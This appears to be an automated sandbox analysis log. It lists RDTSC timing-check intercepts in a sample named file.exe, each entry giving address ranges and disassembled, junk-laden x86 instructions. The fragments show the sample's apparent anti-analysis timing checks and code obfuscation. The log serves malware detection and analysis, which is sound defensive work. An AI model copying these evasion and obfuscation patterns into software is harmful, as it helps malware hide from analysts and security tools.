Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DF45 second address: 124DF4F instructions: 0x00000000 rdtsc 0x00000002 je 00007F020CB267ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E39E second address: 124E3B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F020CB2844Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E3B4 second address: 124E3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F020CB267EDh 0x0000000e jg 00007F020CB267E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E3D0 second address: 124E3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E540 second address: 124E548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E7EC second address: 124E7FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F020CB2844Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E7FF second address: 124E827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F020CB267E6h 0x0000000c jmp 00007F020CB267F7h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E827 second address: 124E82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E82B second address: 124E82F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E82F second address: 124E83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125317B second address: 125318C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12533E7 second address: 12533EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125364A second address: 12536C5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F020CB267ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop eax 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F020CB267E8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push dword ptr [ebp+122D2819h] 0x00000034 jc 00007F020CB267EDh 0x0000003a jg 00007F020CB267E7h 0x00000040 call 00007F020CB267E9h 0x00000045 push ecx 0x00000046 push ecx 0x00000047 jmp 00007F020CB267F0h 0x0000004c pop ecx 0x0000004d pop ecx 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F020CB267EFh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12536C5 second address: 12536D7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12536D7 second address: 12536F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F020CB267E6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB267EEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12550BA second address: 12550E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F020CB2844Fh 0x0000000b jmp 00007F020CB28455h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12550E4 second address: 1255100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F020CB267F3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1255100 second address: 125510A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB2845Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4840007 second address: 4840027 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dl, CBh 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F020CB267EEh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4840027 second address: 484002B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484002B second address: 4840031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4840031 second address: 4840047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB28452h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483007D second address: 4830083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830083 second address: 4830089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830089 second address: 483008D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483008D second address: 4830091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4860EFA second address: 4860F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 mov bl, 34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4860F03 second address: 4860F30 instructions: 0x00000000 rdtsc 0x00000002 mov cx, A24Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F020CB28452h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB2844Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800114 second address: 480011A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480011A second address: 48001EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F020CB2844Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F020CB28450h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F020CB2844Eh 0x0000001d xor ch, FFFFFFE8h 0x00000020 jmp 00007F020CB2844Bh 0x00000025 popfd 0x00000026 push ecx 0x00000027 pushfd 0x00000028 jmp 00007F020CB2844Fh 0x0000002d jmp 00007F020CB28453h 0x00000032 popfd 0x00000033 pop ecx 0x00000034 popad 0x00000035 push dword ptr [ebp+04h] 0x00000038 pushad 0x00000039 mov cl, dh 0x0000003b movzx ecx, bx 0x0000003e popad 0x0000003f push dword ptr [ebp+0Ch] 0x00000042 jmp 00007F020CB28459h 0x00000047 push dword ptr [ebp+08h] 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d mov edx, 150079EEh 0x00000052 pushfd 0x00000053 jmp 00007F020CB2844Fh 0x00000058 sbb si, 3A9Eh 0x0000005d jmp 00007F020CB28459h 0x00000062 popfd 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820E0C second address: 4820E35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 call 00007F020CB267EBh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F020CB267F2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48209B8 second address: 48209BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48209BC second address: 48209E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov di, 4982h 0x0000000f call 00007F020CB267F3h 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48209E0 second address: 48209E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48209E6 second address: 4820A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F020CB267F9h 0x00000014 sub esi, 039576B6h 0x0000001a jmp 00007F020CB267F1h 0x0000001f popfd 0x00000020 push ecx 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48208B6 second address: 48208DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F020CB2844Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48208DA second address: 48208EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48208EC second address: 4820928 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F020CB28458h 0x00000012 adc ecx, 4D01F938h 0x00000018 jmp 00007F020CB2844Bh 0x0000001d popfd 0x0000001e mov ax, 836Fh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820928 second address: 482097D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F020CB267ECh 0x00000012 add ecx, 42F5F2C8h 0x00000018 jmp 00007F020CB267EBh 0x0000001d popfd 0x0000001e mov ecx, 2869403Fh 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F020CB267F1h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820602 second address: 4820606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820606 second address: 482060A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482060A second address: 4820610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820610 second address: 482063E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB267EBh 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F020CB267F2h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482063E second address: 4820642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820642 second address: 4820648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820648 second address: 4820662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820662 second address: 4820668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820668 second address: 482066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482066E second address: 4820672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483035E second address: 483039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F020CB28451h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB2844Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483039D second address: 48303A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48303A3 second address: 48303EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov bx, cx 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007F020CB28456h 0x0000001b pop ecx 0x0000001c jmp 00007F020CB2844Bh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484038E second address: 4840394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4840394 second address: 4840398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4840398 second address: 48403BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F020CB267F6h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48403BE second address: 48403C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48403C2 second address: 48403DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48403DF second address: 4840400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, si 0x00000011 movzx ecx, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4840400 second address: 484044E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 mov cx, C67Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [ebp+08h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F020CB267F0h 0x00000016 or eax, 5ABE4268h 0x0000001c jmp 00007F020CB267EBh 0x00000021 popfd 0x00000022 mov ax, 705Fh 0x00000026 popad 0x00000027 and dword ptr [eax], 00000000h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F020CB267F1h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48207E0 second address: 482080E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F020CB2844Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482080E second address: 4820814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4820814 second address: 4820846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F020CB28450h 0x00000012 or ax, A228h 0x00000017 jmp 00007F020CB2844Bh 0x0000001c popfd 0x0000001d movzx esi, bx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830EE7 second address: 4830F42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F020CB267F7h 0x00000010 push eax 0x00000011 pop ebx 0x00000012 pop ecx 0x00000013 mov cx, bx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F020CB267F9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830F42 second address: 4830F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830F57 second address: 4830F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830F5D second address: 4830F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830F61 second address: 4830FBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov edx, 7405CE58h 0x00000010 pushad 0x00000011 jmp 00007F020CB267F7h 0x00000016 pushfd 0x00000017 jmp 00007F020CB267F8h 0x0000001c or ah, FFFFFFE8h 0x0000001f jmp 00007F020CB267EBh 0x00000024 popfd 0x00000025 popad 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4830FBA second address: 4830FC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48606F3 second address: 4860776 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F020CB267F0h 0x00000008 jmp 00007F020CB267F5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushfd 0x00000012 jmp 00007F020CB267F7h 0x00000017 sub cl, 0000006Eh 0x0000001a jmp 00007F020CB267F9h 0x0000001f popfd 0x00000020 pop eax 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F020CB267F7h 0x00000029 xchg eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4860776 second address: 486077C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486077C second address: 48607AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, D165h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F020CB267EBh 0x00000012 xchg eax, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F020CB267F5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48607AC second address: 4860868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 69F2h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [774365FCh] 0x00000011 jmp 00007F020CB2844Fh 0x00000016 test eax, eax 0x00000018 jmp 00007F020CB28456h 0x0000001d je 00007F027F67B5C8h 0x00000023 pushad 0x00000024 mov bx, ax 0x00000027 pushad 0x00000028 movzx esi, di 0x0000002b mov bx, 3768h 0x0000002f popad 0x00000030 popad 0x00000031 mov ecx, eax 0x00000033 jmp 00007F020CB28457h 0x00000038 xor eax, dword ptr [ebp+08h] 0x0000003b jmp 00007F020CB2844Fh 0x00000040 and ecx, 1Fh 0x00000043 jmp 00007F020CB28456h 0x00000048 ror eax, cl 0x0000004a jmp 00007F020CB28450h 0x0000004f leave 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F020CB28457h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4860868 second address: 486086E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486086E second address: 48608AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00FA2014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F0210428BFFh 0x00000023 push FFFFFFFEh 0x00000025 jmp 00007F020CB28457h 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F020CB28455h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48608AA second address: 48608B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48608B0 second address: 48608B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48608B4 second address: 48608B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48608B8 second address: 48608EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007F0210428C40h 0x00000010 mov edi, edi 0x00000012 jmp 00007F020CB2844Fh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov cx, 49CBh 0x0000001d mov dl, ch 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov cx, dx 0x00000027 jmp 00007F020CB2844Bh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48608EE second address: 48608F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48608F4 second address: 48608F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
